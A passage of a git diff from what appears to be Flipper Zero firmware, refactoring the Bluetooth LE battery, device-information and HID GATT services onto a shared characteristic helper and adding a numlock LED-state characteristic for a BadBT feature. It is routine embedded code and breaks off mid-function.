FURI_LOG_E(TAG, "Failed to delete Information characteristic: %d", status); - } - status = aci_gatt_del_char(hid_svc->svc_handle, hid_svc->ctrl_point_char_handle); - if(status) { - FURI_LOG_E(TAG, "Failed to delete Control Point characteristic: %d", status); - } - status = aci_gatt_del_char(hid_svc->svc_handle, hid_svc->led_state_char_handle); - if(status) { - FURI_LOG_E(TAG, "Failed to delete led state characteristic: %d", status); - } - // Delete service - status = aci_gatt_del_service(hid_svc->svc_handle); - if(status) { - FURI_LOG_E(TAG, "Failed to delete HID service: %d", status); - } - // Delete buffer size mutex - free(hid_svc); - hid_svc = NULL; - } -} diff --git a/firmware/targets/f7/ble_glue/battery_service.c b/firmware/targets/f7/ble_glue/services/battery_service.c similarity index 53% rename from firmware/targets/f7/ble_glue/battery_service.c rename to firmware/targets/f7/ble_glue/services/battery_service.c index 8c371efadb..63f736b3b7 100644 --- a/firmware/targets/f7/ble_glue/battery_service.c +++ b/firmware/targets/f7/ble_glue/services/battery_service.c @@ -1,5 +1,7 @@ #include "battery_service.h" #include "app_common.h" +#include "gatt_char.h" + #include #include @@ -7,12 +9,6 @@ #define TAG "BtBatterySvc" -typedef struct { - uint16_t svc_handle; - uint16_t battery_level_char_handle; - uint16_t power_state_char_handle; -} BatterySvc; - enum { // Common states BatterySvcPowerStateUnknown = 0b00, @@ -40,13 +36,44 @@ typedef struct { _Static_assert(sizeof(BattrySvcPowerState) == 1, "Incorrect structure size"); -static BatterySvc* battery_svc = NULL; - #define BATTERY_POWER_STATE (0x2A1A) static const uint16_t service_uuid = BATTERY_SERVICE_UUID; -static const uint16_t battery_level_char_uuid = BATTERY_LEVEL_CHAR_UUID; -static const uint16_t power_state_char_uuid = BATTERY_POWER_STATE; + +typedef enum { + BatterySvcGattCharacteristicBatteryLevel = 0, + BatterySvcGattCharacteristicPowerState, + BatterySvcGattCharacteristicCount, +} BatterySvcGattCharacteristicId; + +static const FlipperGattCharacteristicParams battery_svc_chars[BatterySvcGattCharacteristicCount] = + {[BatterySvcGattCharacteristicBatteryLevel] = + {.name = "Battery Level", + .data_prop_type = FlipperGattCharacteristicDataFixed, + .data.fixed.length = 1, + .uuid.Char_UUID_16 = BATTERY_LEVEL_CHAR_UUID, + .uuid_type = UUID_TYPE_16, + .char_properties = CHAR_PROP_READ | CHAR_PROP_NOTIFY, + .security_permissions = ATTR_PERMISSION_AUTHEN_READ, + .gatt_evt_mask = GATT_DONT_NOTIFY_EVENTS, + .is_variable = CHAR_VALUE_LEN_CONSTANT}, + [BatterySvcGattCharacteristicPowerState] = { + .name = "Power State", + .data_prop_type = FlipperGattCharacteristicDataFixed, + .data.fixed.length = 1, + .uuid.Char_UUID_16 = BATTERY_POWER_STATE, + .uuid_type = UUID_TYPE_16, + .char_properties = CHAR_PROP_READ | CHAR_PROP_NOTIFY, + .security_permissions = ATTR_PERMISSION_AUTHEN_READ, + .gatt_evt_mask = GATT_DONT_NOTIFY_EVENTS, + .is_variable = CHAR_VALUE_LEN_CONSTANT}}; + +typedef struct { + uint16_t svc_handle; + FlipperGattCharacteristicInstance chars[BatterySvcGattCharacteristicCount]; +} BatterySvc; + +static BatterySvc* battery_svc = NULL; void battery_svc_start() { battery_svc = malloc(sizeof(BatterySvc)); @@ -58,53 +85,19 @@ void battery_svc_start() { if(status) { FURI_LOG_E(TAG, "Failed to add Battery service: %d", status); } - // Add Battery level characteristic - status = aci_gatt_add_char( - battery_svc->svc_handle, - UUID_TYPE_16, - (Char_UUID_t*)&battery_level_char_uuid, - 1, - CHAR_PROP_READ | CHAR_PROP_NOTIFY, - ATTR_PERMISSION_AUTHEN_READ, - GATT_DONT_NOTIFY_EVENTS, - 10, - CHAR_VALUE_LEN_CONSTANT, - &battery_svc->battery_level_char_handle); - if(status) { - FURI_LOG_E(TAG, "Failed to add Battery level characteristic: %d", status); + for(size_t i = 0; i < BatterySvcGattCharacteristicCount; i++) { + flipper_gatt_characteristic_init( + battery_svc->svc_handle, &battery_svc_chars[i], &battery_svc->chars[i]); } - // Add Power state characteristic - status = aci_gatt_add_char( - battery_svc->svc_handle, - UUID_TYPE_16, - (Char_UUID_t*)&power_state_char_uuid, - 1, - CHAR_PROP_READ | CHAR_PROP_NOTIFY, - ATTR_PERMISSION_AUTHEN_READ, - GATT_DONT_NOTIFY_EVENTS, - 10, - CHAR_VALUE_LEN_CONSTANT, - &battery_svc->power_state_char_handle); - if(status) { - FURI_LOG_E(TAG, "Failed to add Battery level characteristic: %d", status); - } - // Update power state charachteristic + battery_svc_update_power_state(); } void battery_svc_stop() { tBleStatus status; if(battery_svc) { - // Delete Battery level characteristic - status = - aci_gatt_del_char(battery_svc->svc_handle, battery_svc->battery_level_char_handle); - if(status) { - FURI_LOG_E(TAG, "Failed to delete Battery level characteristic: %d", status); - } - // Delete Power state characteristic - status = aci_gatt_del_char(battery_svc->svc_handle, battery_svc->power_state_char_handle); - if(status) { - FURI_LOG_E(TAG, "Failed to delete Battery level characteristic: %d", status); + for(size_t i = 0; i < BatterySvcGattCharacteristicCount; i++) { + flipper_gatt_characteristic_delete(battery_svc->svc_handle, &battery_svc->chars[i]); } // Delete Battery service status = aci_gatt_del_service(battery_svc->svc_handle); @@ -126,13 +119,10 @@ bool battery_svc_update_level(uint8_t battery_charge) { return false; } // Update battery level characteristic - FURI_LOG_D(TAG, "Updating battery level characteristic"); - tBleStatus result = aci_gatt_update_char_value( - battery_svc->svc_handle, battery_svc->battery_level_char_handle, 0, 1, &battery_charge); - if(result) { - FURI_LOG_E(TAG, "Failed updating RX characteristic: %d", result); - } - return result != BLE_STATUS_SUCCESS; + return flipper_gatt_characteristic_update( + battery_svc->svc_handle, + &battery_svc->chars[BatterySvcGattCharacteristicBatteryLevel], + &battery_charge); } bool battery_svc_update_power_state() { @@ -152,15 +142,9 @@ bool battery_svc_update_power_state() { power_state.charging = BatterySvcPowerStateNotCharging; power_state.discharging = BatterySvcPowerStateDischarging; } - FURI_LOG_D(TAG, "Updating power state characteristic"); - tBleStatus result = aci_gatt_update_char_value( + + return flipper_gatt_characteristic_update( battery_svc->svc_handle, - battery_svc->power_state_char_handle, - 0, - 1, - (uint8_t*)&power_state); - if(result) { - FURI_LOG_E(TAG, "Failed updating Power state characteristic: %d", result); - } - return result != BLE_STATUS_SUCCESS; + &battery_svc->chars[BatterySvcGattCharacteristicPowerState], + &power_state); } diff --git a/firmware/targets/f7/ble_glue/battery_service.h b/firmware/targets/f7/ble_glue/services/battery_service.h similarity index 100% rename from firmware/targets/f7/ble_glue/battery_service.h rename to firmware/targets/f7/ble_glue/services/battery_service.h diff --git a/firmware/targets/f7/ble_glue/services/dev_info_service.c b/firmware/targets/f7/ble_glue/services/dev_info_service.c new file mode 100644 index 0000000000..5bee97b416 --- /dev/null +++ b/firmware/targets/f7/ble_glue/services/dev_info_service.c @@ -0,0 +1,176 @@ +#include "dev_info_service.h" +#include "app_common.h" +#include "gatt_char.h" +#include + +#include +#include +#include + +#include "dev_info_service_uuid.inc" + +#define TAG "BtDevInfoSvc" + +typedef enum { + DevInfoSvcGattCharacteristicMfgName = 0, + DevInfoSvcGattCharacteristicSerial, + DevInfoSvcGattCharacteristicFirmwareRev, + DevInfoSvcGattCharacteristicSoftwareRev, + DevInfoSvcGattCharacteristicRpcVersion, + DevInfoSvcGattCharacteristicCount, +} DevInfoSvcGattCharacteristicId; + +#define DEVICE_INFO_HARDWARE_REV_SIZE 4 +typedef struct { + uint16_t service_handle; + FlipperGattCharacteristicInstance characteristics[DevInfoSvcGattCharacteristicCount]; + FuriString* version_string; + char hardware_revision[DEVICE_INFO_HARDWARE_REV_SIZE]; +} DevInfoSvc; + +static DevInfoSvc* dev_info_svc = NULL; + +static const char dev_info_man_name[] = "Flipper Devices Inc."; +static const char dev_info_serial_num[] = "1.0"; +static const char dev_info_rpc_version[] = TOSTRING(PROTOBUF_MAJOR_VERSION.PROTOBUF_MINOR_VERSION); + +static bool dev_info_char_firmware_rev_callback( + const void* context, + const uint8_t** data, + uint16_t* data_len) { + const DevInfoSvc* dev_info_svc = *(DevInfoSvc**)context; + *data_len = sizeof(dev_info_svc->hardware_revision); + if(data) { + *data = (const uint8_t*)&dev_info_svc->hardware_revision; + } + return false; +} + +static bool dev_info_char_software_rev_callback( + const void* context, + const uint8_t** data, + uint16_t* data_len) { + const DevInfoSvc* dev_info_svc = *(DevInfoSvc**)context; + *data_len = furi_string_size(dev_info_svc->version_string); + if(data) { + *data = (const uint8_t*)furi_string_get_cstr(dev_info_svc->version_string); + } + return false; +} + +static const FlipperGattCharacteristicParams dev_info_svc_chars[DevInfoSvcGattCharacteristicCount] = + {[DevInfoSvcGattCharacteristicMfgName] = + {.name = "Manufacturer Name", + .data_prop_type = FlipperGattCharacteristicDataFixed, + .data.fixed.length = sizeof(dev_info_man_name) - 1, + .data.fixed.ptr = (const uint8_t*)&dev_info_man_name, + .uuid.Char_UUID_16 = MANUFACTURER_NAME_UUID, + .uuid_type = UUID_TYPE_16, + .char_properties = CHAR_PROP_READ, + .security_permissions = ATTR_PERMISSION_AUTHEN_READ, + .gatt_evt_mask = GATT_DONT_NOTIFY_EVENTS, + .is_variable = CHAR_VALUE_LEN_CONSTANT}, + [DevInfoSvcGattCharacteristicSerial] = + {.name = "Serial Number", + .data_prop_type = FlipperGattCharacteristicDataFixed, + .data.fixed.length = sizeof(dev_info_serial_num) - 1, + .data.fixed.ptr = (const uint8_t*)&dev_info_serial_num, + .uuid.Char_UUID_16 = SERIAL_NUMBER_UUID, + .uuid_type = UUID_TYPE_16, + .char_properties = CHAR_PROP_READ, + .security_permissions = ATTR_PERMISSION_AUTHEN_READ, + .gatt_evt_mask = GATT_DONT_NOTIFY_EVENTS, + .is_variable = CHAR_VALUE_LEN_CONSTANT}, + [DevInfoSvcGattCharacteristicFirmwareRev] = + {.name = "Firmware Revision", + .data_prop_type = FlipperGattCharacteristicDataCallback, + .data.callback.context = &dev_info_svc, + .data.callback.fn = dev_info_char_firmware_rev_callback, + .uuid.Char_UUID_16 = FIRMWARE_REVISION_UUID, + .uuid_type = UUID_TYPE_16, + .char_properties = CHAR_PROP_READ, + .security_permissions = ATTR_PERMISSION_AUTHEN_READ, + .gatt_evt_mask = GATT_DONT_NOTIFY_EVENTS, + .is_variable = CHAR_VALUE_LEN_CONSTANT}, + [DevInfoSvcGattCharacteristicSoftwareRev] = + {.name = "Software Revision", + .data_prop_type = FlipperGattCharacteristicDataCallback, + .data.callback.context = &dev_info_svc, + .data.callback.fn = dev_info_char_software_rev_callback, + .uuid.Char_UUID_16 = SOFTWARE_REVISION_UUID, + .uuid_type = UUID_TYPE_16, + .char_properties = CHAR_PROP_READ, + .security_permissions = ATTR_PERMISSION_AUTHEN_READ, + .gatt_evt_mask = GATT_DONT_NOTIFY_EVENTS, + .is_variable = CHAR_VALUE_LEN_CONSTANT}, + [DevInfoSvcGattCharacteristicRpcVersion] = { + .name = "RPC Version", + .data_prop_type = FlipperGattCharacteristicDataFixed, + .data.fixed.length = sizeof(dev_info_rpc_version) - 1, + .data.fixed.ptr = (const uint8_t*)&dev_info_rpc_version, + .uuid.Char_UUID_128 = DEV_INVO_RPC_VERSION_UID, + .uuid_type = UUID_TYPE_128, + .char_properties = CHAR_PROP_READ, + .security_permissions = ATTR_PERMISSION_AUTHEN_READ, + .gatt_evt_mask = GATT_DONT_NOTIFY_EVENTS, + .is_variable = CHAR_VALUE_LEN_CONSTANT}}; + +void dev_info_svc_start() { + dev_info_svc = malloc(sizeof(DevInfoSvc)); + dev_info_svc->version_string = furi_string_alloc_printf( + "%s %s %s %s", + version_get_githash(NULL), + version_get_version(NULL), + version_get_gitbranchnum(NULL), + version_get_builddate(NULL)); + snprintf( + dev_info_svc->hardware_revision, + sizeof(dev_info_svc->hardware_revision), + "%d", + version_get_target(NULL)); + tBleStatus status; + + // Add Device Information Service + uint16_t uuid = DEVICE_INFORMATION_SERVICE_UUID; + status = aci_gatt_add_service( + UUID_TYPE_16, + (Service_UUID_t*)&uuid, + PRIMARY_SERVICE, + 1 + 2 * DevInfoSvcGattCharacteristicCount, + &dev_info_svc->service_handle); + if(status) { + FURI_LOG_E(TAG, "Failed to add Device Information Service: %d", status); + } + + for(size_t i = 0; i < DevInfoSvcGattCharacteristicCount; i++) { + flipper_gatt_characteristic_init( + dev_info_svc->service_handle, + &dev_info_svc_chars[i], + &dev_info_svc->characteristics[i]); + flipper_gatt_characteristic_update( + dev_info_svc->service_handle, &dev_info_svc->characteristics[i], NULL); + } +} + +void dev_info_svc_stop() { + tBleStatus status; + if(dev_info_svc) { + furi_string_free(dev_info_svc->version_string); + // Delete service characteristics + for(size_t i = 0; i < DevInfoSvcGattCharacteristicCount; i++) { + flipper_gatt_characteristic_delete( + dev_info_svc->service_handle, &dev_info_svc->characteristics[i]); + } + // Delete service + status = aci_gatt_del_service(dev_info_svc->service_handle); + if(status) { + FURI_LOG_E(TAG, "Failed to delete device info service: %d", status); + } + free(dev_info_svc); + dev_info_svc = NULL; + } +} + +bool dev_info_svc_is_started() { + return dev_info_svc != NULL; +} diff --git a/firmware/targets/f7/ble_glue/dev_info_service.h b/firmware/targets/f7/ble_glue/services/dev_info_service.h similarity index 100% rename from firmware/targets/f7/ble_glue/dev_info_service.h rename to firmware/targets/f7/ble_glue/services/dev_info_service.h diff --git a/firmware/targets/f7/ble_glue/services/dev_info_service_uuid.inc b/firmware/targets/f7/ble_glue/services/dev_info_service_uuid.inc new file mode 100644 index 0000000000..ad520f62e5 --- /dev/null +++ b/firmware/targets/f7/ble_glue/services/dev_info_service_uuid.inc @@ -0,0 +1,3 @@ +#define DEV_INVO_RPC_VERSION_UID \ + { 0x33, 0xa9, 0xb5, 0x3e, 0x87, 0x5d, 0x1a, 0x8e, 0xc8, 0x47, 0x5e, 0xae, 0x6d, 0x66, 0xf6, 0x03 } + diff --git a/firmware/targets/f7/ble_glue/services/gatt_char.c b/firmware/targets/f7/ble_glue/services/gatt_char.c new file mode 100644 index 0000000000..9b6a44f61b --- /dev/null +++ b/firmware/targets/f7/ble_glue/services/gatt_char.c @@ -0,0 +1,123 @@ +#include "gatt_char.h" + +#include + +#define TAG "GattChar" + +#define GATT_MIN_READ_KEY_SIZE (10) + +void flipper_gatt_characteristic_init( + uint16_t svc_handle, + const FlipperGattCharacteristicParams* char_descriptor, + FlipperGattCharacteristicInstance* char_instance) { + furi_assert(char_descriptor); + furi_assert(char_instance); + + // Copy the descriptor to the instance, since it may point to stack memory + // TODO: only copy if really comes from stack + char_instance->characteristic = malloc(sizeof(FlipperGattCharacteristicParams)); + memcpy( + (void*)char_instance->characteristic, + char_descriptor, + sizeof(FlipperGattCharacteristicParams)); + + uint16_t char_data_size = 0; + if(char_descriptor->data_prop_type == FlipperGattCharacteristicDataFixed) { + char_data_size = char_descriptor->data.fixed.length; + } else if(char_descriptor->data_prop_type == FlipperGattCharacteristicDataCallback) { + char_descriptor->data.callback.fn( + char_descriptor->data.callback.context, NULL, &char_data_size); + } + + tBleStatus status = aci_gatt_add_char( + svc_handle, + char_descriptor->uuid_type, + &char_descriptor->uuid, + char_data_size, + char_descriptor->char_properties, + char_descriptor->security_permissions, + char_descriptor->gatt_evt_mask, + GATT_MIN_READ_KEY_SIZE, + char_descriptor->is_variable, + &char_instance->handle); + if(status) { + FURI_LOG_E(TAG, "Failed to add %s char: %d", char_descriptor->name, status); + } + + char_instance->descriptor_handle = 0; + if((status == 0) && char_descriptor->descriptor_params) { + uint8_t const* char_data = NULL; + const FlipperGattCharacteristicDescriptorParams* char_data_descriptor = + char_descriptor->descriptor_params; + bool release_data = char_data_descriptor->data_callback.fn( + char_data_descriptor->data_callback.context, &char_data, &char_data_size); + + status = aci_gatt_add_char_desc( + svc_handle, + char_instance->handle, + char_data_descriptor->uuid_type, + &char_data_descriptor->uuid, + char_data_descriptor->max_length, + char_data_size, + char_data, + char_data_descriptor->security_permissions, + char_data_descriptor->access_permissions, + char_data_descriptor->gatt_evt_mask, + GATT_MIN_READ_KEY_SIZE, + char_data_descriptor->is_variable, + &char_instance->descriptor_handle); + if(status) { + FURI_LOG_E(TAG, "Failed to add %s char descriptor: %d", char_descriptor->name, status); + } + if(release_data) { + free((void*)char_data); + } + } +} + +void flipper_gatt_characteristic_delete( + uint16_t svc_handle, + FlipperGattCharacteristicInstance* char_instance) { + tBleStatus status = aci_gatt_del_char(svc_handle, char_instance->handle); + if(status) { + FURI_LOG_E( + TAG, "Failed to delete %s char: %d", char_instance->characteristic->name, status); + } + free((void*)char_instance->characteristic); +} + +bool flipper_gatt_characteristic_update( + uint16_t svc_handle, + FlipperGattCharacteristicInstance* char_instance, + const void* source) { + furi_assert(char_instance); + const FlipperGattCharacteristicParams* char_descriptor = char_instance->characteristic; + FURI_LOG_D(TAG, "Updating %s char", char_descriptor->name); + + const uint8_t* char_data = NULL; + uint16_t char_data_size = 0; + bool release_data = false; + if(char_descriptor->data_prop_type == FlipperGattCharacteristicDataFixed) { + char_data = char_descriptor->data.fixed.ptr; + if(source) { + char_data = (uint8_t*)source; + } + char_data_size = char_descriptor->data.fixed.length; + } else if(char_descriptor->data_prop_type == FlipperGattCharacteristicDataCallback) { + const void* context = char_descriptor->data.callback.context; + if(source) { + context = source; + } + release_data = char_descriptor->data.callback.fn(context, &char_data, &char_data_size); + } + + tBleStatus result = aci_gatt_update_char_value( + svc_handle, char_instance->handle, 0, char_data_size, char_data); + if(result) { + FURI_LOG_E(TAG, "Failed updating %s characteristic: %d", char_descriptor->name, result); + } + if(release_data) { + free((void*)char_data); + } + return result != BLE_STATUS_SUCCESS; +} \ No newline at end of file diff --git a/firmware/targets/f7/ble_glue/services/gatt_char.h b/firmware/targets/f7/ble_glue/services/gatt_char.h new file mode 100644 index 0000000000..959ab67a49 --- /dev/null +++ b/firmware/targets/f7/ble_glue/services/gatt_char.h @@ -0,0 +1,96 @@ +#pragma once + +#include +#include +#include + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +// Callback signature for getting characteristic data +// Is called when characteristic is created to get max data length. Data ptr is NULL in this case +// The result is passed to aci_gatt_add_char as "Char_Value_Length" +// For updates, called with a context - see flipper_gatt_characteristic_update +// Returns true if *data ownership is transferred to the caller and will be freed +typedef bool (*cbFlipperGattCharacteristicData)( + const void* context, + const uint8_t** data, + uint16_t* data_len); + +typedef enum { + FlipperGattCharacteristicDataFixed, + FlipperGattCharacteristicDataCallback, +} FlipperGattCharacteristicDataType; + +typedef struct { + Char_Desc_Uuid_t uuid; + struct { + cbFlipperGattCharacteristicData fn; + const void* context; + } data_callback; + uint8_t uuid_type; + uint8_t max_length; + uint8_t security_permissions; + uint8_t access_permissions; + uint8_t gatt_evt_mask; + uint8_t is_variable; +} FlipperGattCharacteristicDescriptorParams; + +typedef struct { + const char* name; + FlipperGattCharacteristicDescriptorParams* descriptor_params; + union { + struct { + const uint8_t* ptr; + uint16_t length; + } fixed; + struct { + cbFlipperGattCharacteristicData fn; + const void* context; + } callback; + } data; + Char_UUID_t uuid; + // Some packed bitfields to save space + FlipperGattCharacteristicDataType data_prop_type : 2; + uint8_t is_variable : 2; + uint8_t uuid_type : 2; + uint8_t char_properties; + uint8_t security_permissions; + uint8_t gatt_evt_mask; +} FlipperGattCharacteristicParams; + +_Static_assert( + sizeof(FlipperGattCharacteristicParams) == 36, + "FlipperGattCharacteristicParams size must be 36 bytes"); + +typedef struct { + const FlipperGattCharacteristicParams* characteristic; + uint16_t handle; + uint16_t descriptor_handle; +} FlipperGattCharacteristicInstance; + +// Initialize a characteristic instance; copies the characteristic descriptor into the instance +void flipper_gatt_characteristic_init( + uint16_t svc_handle, + const FlipperGattCharacteristicParams* char_descriptor, + FlipperGattCharacteristicInstance* char_instance); + +// Delete a characteristic instance; frees the copied characteristic descriptor from the instance +void flipper_gatt_characteristic_delete( + uint16_t svc_handle, + FlipperGattCharacteristicInstance* char_instance); + +// Update a characteristic instance; if source==NULL, uses the data from the characteristic +// - For fixed data, fixed.ptr is used as the source if source==NULL +// - For callback-based data, collback.context is passed as the context if source==NULL +bool flipper_gatt_characteristic_update( + uint16_t svc_handle, + FlipperGattCharacteristicInstance* char_instance, + const void* source); + +#ifdef __cplusplus +} +#endif \ No newline at end of file diff --git a/firmware/targets/f7/ble_glue/services/hid_service.c b/firmware/targets/f7/ble_glue/services/hid_service.c new file mode 100644 index 0000000000..11f10b7b38 --- /dev/null +++ b/firmware/targets/f7/ble_glue/services/hid_service.c @@ -0,0 +1,365 @@ +#include "hid_service.h" +#include "app_common.h" +#include +#include "gatt_char.h" + +#include + +#define TAG "BtHid" + +typedef enum { + HidSvcGattCharacteristicProtocolMode = 0, + HidSvcGattCharacteristicReportMap, + HidSvcGattCharacteristicInfo, + HidSvcGattCharacteristicCtrlPoint, + HidSvcGattCharacteristicLed, + HidSvcGattCharacteristicCount, +} HidSvcGattCharacteristicId; + +typedef struct { + uint8_t report_idx; + uint8_t report_type; +} HidSvcReportId; + +static_assert(sizeof(HidSvcReportId) == sizeof(uint16_t), "HidSvcReportId must be 2 bytes"); + +static bool + hid_svc_char_desc_data_callback(const void* context, const uint8_t** data, uint16_t* data_len) { + const HidSvcReportId* report_id = context; + *data_len = sizeof(HidSvcReportId); + if(data) { + *data = (const uint8_t*)report_id; + } + return false; +} + +typedef struct { + const void* data_ptr; + uint16_t data_len; +} HidSvcDataWrapper; + +static bool + hid_svc_report_data_callback(const void* context, const uint8_t** data, uint16_t* data_len) { + const HidSvcDataWrapper* report_data = context; + if(data) { + *data = report_data->data_ptr; + *data_len = report_data->data_len; + } else { + *data_len = HID_SVC_REPORT_MAP_MAX_LEN; + } + return false; +} + +// LED Descriptor params for BadBT + +static uint8_t led_desc_context_buf[2] = {HID_SVC_REPORT_COUNT + 1, 2}; + +static FlipperGattCharacteristicDescriptorParams hid_svc_char_descr_led = { + .uuid_type = UUID_TYPE_16, + .uuid.Char_UUID_16 = REPORT_REFERENCE_DESCRIPTOR_UUID, + .max_length = HID_SVC_REPORT_REF_LEN, + .data_callback.fn = hid_svc_char_desc_data_callback, + .data_callback.context = led_desc_context_buf, + .security_permissions = ATTR_PERMISSION_NONE, + .access_permissions = ATTR_ACCESS_READ_WRITE, + .gatt_evt_mask = GATT_DONT_NOTIFY_EVENTS, + .is_variable = CHAR_VALUE_LEN_CONSTANT, +}; + +static const FlipperGattCharacteristicParams hid_svc_chars[HidSvcGattCharacteristicCount] = { + [HidSvcGattCharacteristicProtocolMode] = + {.name = "Protocol Mode", + .data_prop_type = FlipperGattCharacteristicDataFixed, + .data.fixed.length = 1, + .uuid.Char_UUID_16 = PROTOCOL_MODE_CHAR_UUID, + .uuid_type = UUID_TYPE_16, + .char_properties = CHAR_PROP_READ | CHAR_PROP_WRITE_WITHOUT_RESP, + .security_permissions = ATTR_PERMISSION_NONE, + .gatt_evt_mask = GATT_NOTIFY_ATTRIBUTE_WRITE, + .is_variable = CHAR_VALUE_LEN_CONSTANT}, + [HidSvcGattCharacteristicReportMap] = + {.name = "Report Map", + .data_prop_type = FlipperGattCharacteristicDataCallback, + .data.callback.fn = hid_svc_report_data_callback, + .data.callback.context = NULL, + .uuid.Char_UUID_16 = REPORT_MAP_CHAR_UUID, + .uuid_type = UUID_TYPE_16, + .char_properties = CHAR_PROP_READ, + .security_permissions = ATTR_PERMISSION_NONE, + .gatt_evt_mask = GATT_DONT_NOTIFY_EVENTS, + .is_variable = CHAR_VALUE_LEN_VARIABLE}, + [HidSvcGattCharacteristicInfo] = + {.name = "HID Information", + .data_prop_type = FlipperGattCharacteristicDataFixed, + .data.fixed.length = HID_SVC_INFO_LEN, + .data.fixed.ptr = NULL, + .uuid.Char_UUID_16 = HID_INFORMATION_CHAR_UUID, + .uuid_type = UUID_TYPE_16, + .char_properties = CHAR_PROP_READ, + .security_permissions = ATTR_PERMISSION_NONE, + .gatt_evt_mask = GATT_DONT_NOTIFY_EVENTS, + .is_variable = CHAR_VALUE_LEN_CONSTANT}, + [HidSvcGattCharacteristicCtrlPoint] = + {.name = "HID Control Point", + .data_prop_type = FlipperGattCharacteristicDataFixed, + .data.fixed.length = HID_SVC_CONTROL_POINT_LEN, + .uuid.Char_UUID_16 = HID_CONTROL_POINT_CHAR_UUID, + .uuid_type = UUID_TYPE_16, + .char_properties = CHAR_PROP_WRITE_WITHOUT_RESP, + .security_permissions = ATTR_PERMISSION_NONE, + .gatt_evt_mask = GATT_NOTIFY_ATTRIBUTE_WRITE, + .is_variable = CHAR_VALUE_LEN_CONSTANT}, + [HidSvcGattCharacteristicLed] = + { + .name = + "HID LED State", // LED Characteristic and descriptor for BadBT to get numlock state for altchars + .data_prop_type = FlipperGattCharacteristicDataFixed, + .data.fixed.length = 1, + .uuid.Char_UUID_16 = REPORT_CHAR_UUID, + .uuid_type = UUID_TYPE_16, + .char_properties = CHAR_PROP_READ | CHAR_PROP_WRITE_WITHOUT_RESP | CHAR_PROP_WRITE, + .security_permissions = ATTR_PERMISSION_NONE, + .gatt_evt_mask = GATT_NOTIFY_ATTRIBUTE_WRITE | + GATT_NOTIFY_WRITE_REQ_AND_WAIT_FOR_APPL_RESP, + .is_variable = CHAR_VALUE_LEN_CONSTANT, + .descriptor_params = &hid_svc_char_descr_led, + }, +}; + +static const FlipperGattCharacteristicDescriptorParams hid_svc_char_descr_template = { + .uuid_type = UUID_TYPE_16, + .uuid.Char_UUID_16 = REPORT_REFERENCE_DESCRIPTOR_UUID, + .max_length = HID_SVC_REPORT_REF_LEN, + .data_callback.fn = hid_svc_char_desc_data_callback, + .security_permissions = ATTR_PERMISSION_NONE, + .access_permissions = ATTR_ACCESS_READ_WRITE, + .gatt_evt_mask = GATT_DONT_NOTIFY_EVENTS, + .is_variable = CHAR_VALUE_LEN_CONSTANT, +}; + +static const FlipperGattCharacteristicParams hid_svc_report_template = { + .name = "Report", + .data_prop_type = FlipperGattCharacteristicDataCallback, + .data.callback.fn = hid_svc_report_data_callback, + .data.callback.context = NULL, + .uuid.Char_UUID_16 = REPORT_CHAR_UUID, + .uuid_type = UUID_TYPE_16, + .char_properties = CHAR_PROP_READ | CHAR_PROP_NOTIFY, + .security_permissions = ATTR_PERMISSION_NONE, + .gatt_evt_mask = GATT_DONT_NOTIFY_EVENTS, + .is_variable = CHAR_VALUE_LEN_VARIABLE, +}; + +typedef struct { + uint16_t svc_handle; + FlipperGattCharacteristicInstance chars[HidSvcGattCharacteristicCount]; + FlipperGattCharacteristicInstance input_report_chars[HID_SVC_INPUT_REPORT_COUNT]; + FlipperGattCharacteristicInstance output_report_chars[HID_SVC_OUTPUT_REPORT_COUNT]; + FlipperGattCharacteristicInstance feature_report_chars[HID_SVC_FEATURE_REPORT_COUNT]; + // led state + HidLedStateEventCallback led_state_event_callback; + void* led_state_ctx; +} HIDSvc; + +static HIDSvc* hid_svc = NULL; + +static SVCCTL_EvtAckStatus_t hid_svc_event_handler(void* event) { + SVCCTL_EvtAckStatus_t ret = SVCCTL_EvtNotAck; + hci_event_pckt* event_pckt = (hci_event_pckt*)(((hci_uart_pckt*)event)->data); + evt_blecore_aci* blecore_evt = (evt_blecore_aci*)event_pckt->data; + // aci_gatt_attribute_modified_event_rp0* attribute_modified; + if(event_pckt->evt == HCI_VENDOR_SPECIFIC_DEBUG_EVT_CODE) { + if(blecore_evt->ecode == ACI_GATT_ATTRIBUTE_MODIFIED_VSEVT_CODE) { + // Process modification events + ret = SVCCTL_EvtAckFlowEnable; + } else if(blecore_evt->ecode == ACI_GATT_SERVER_CONFIRMATION_VSEVT_CODE) { + // Process notification confirmation + ret = SVCCTL_EvtAckFlowEnable; + } else if(blecore_evt->ecode == ACI_GATT_WRITE_PERMIT_REQ_VSEVT_CODE) { + // LED Characteristic and descriptor for BadBT to get numlock state for altchars + // + // Process write request + aci_gatt_write_permit_req_event_rp0* req = + (aci_gatt_write_permit_req_event_rp0*)blecore_evt->data; + + furi_check(hid_svc->led_state_event_callback && hid_svc->led_state_ctx); + + // this check is likely to be incorrect, it will actually work in our case + // but we need to investigate gatt api to see what is the rules + // that specify attibute handle value from char handle (or the reverse) + if(req->Attribute_Handle == (hid_svc->chars[HidSvcGattCharacteristicLed].handle + 1)) { + hid_svc->led_state_event_callback(req->Data[0], hid_svc->led_state_ctx); + aci_gatt_write_resp( + req->Connection_Handle, + req->Attribute_Handle, + 0x00, /* write_status = 0 (no error))*/ + 0x00, /* err_code */ + req->Data_Length, + req->Data); + aci_gatt_write_char_value( + req->Connection_Handle, + hid_svc->chars[HidSvcGattCharacteristicLed].handle, + req->Data_Length, + req->Data); + ret = SVCCTL_EvtAckFlowEnable; + } + } + } + return ret; +} + +void hid_svc_start() { + tBleStatus status; + hid_svc = malloc(sizeof(HIDSvc)); + Service_UUID_t svc_uuid = {}; + + // Register event handler + SVCCTL_RegisterSvcHandler(hid_svc_event_handler); + // Add service + svc_uuid.Service_UUID_16 = HUMAN_INTERFACE_DEVICE_SERVICE_UUID; + /** + * Add Human Interface Device Service + */ + status = aci_gatt_add_service( + UUID_TYPE_16, + &svc_uuid, + PRIMARY_SERVICE, + 2 + /* protocol mode */ + (4 * HID_SVC_INPUT_REPORT_COUNT) + (3 * HID_SVC_OUTPUT_REPORT_COUNT) + + (3 * HID_SVC_FEATURE_REPORT_COUNT) + 1 + 2 + 2 + 2 + + 4, /* Service + Report Map + HID Information + HID Control Point + LED state */ + &hid_svc->svc_handle); + if(status) { + FURI_LOG_E(TAG, "Failed to add HID service: %d", status); + } + + for(size_t i = 0; i < HidSvcGattCharacteristicCount; i++) { + flipper_gatt_characteristic_init( + hid_svc->svc_handle, &hid_svc_chars[i], &hid_svc->chars[i]); + } + uint8_t protocol_mode = 1; + flipper_gatt_characteristic_update( + hid_svc->svc_handle, + 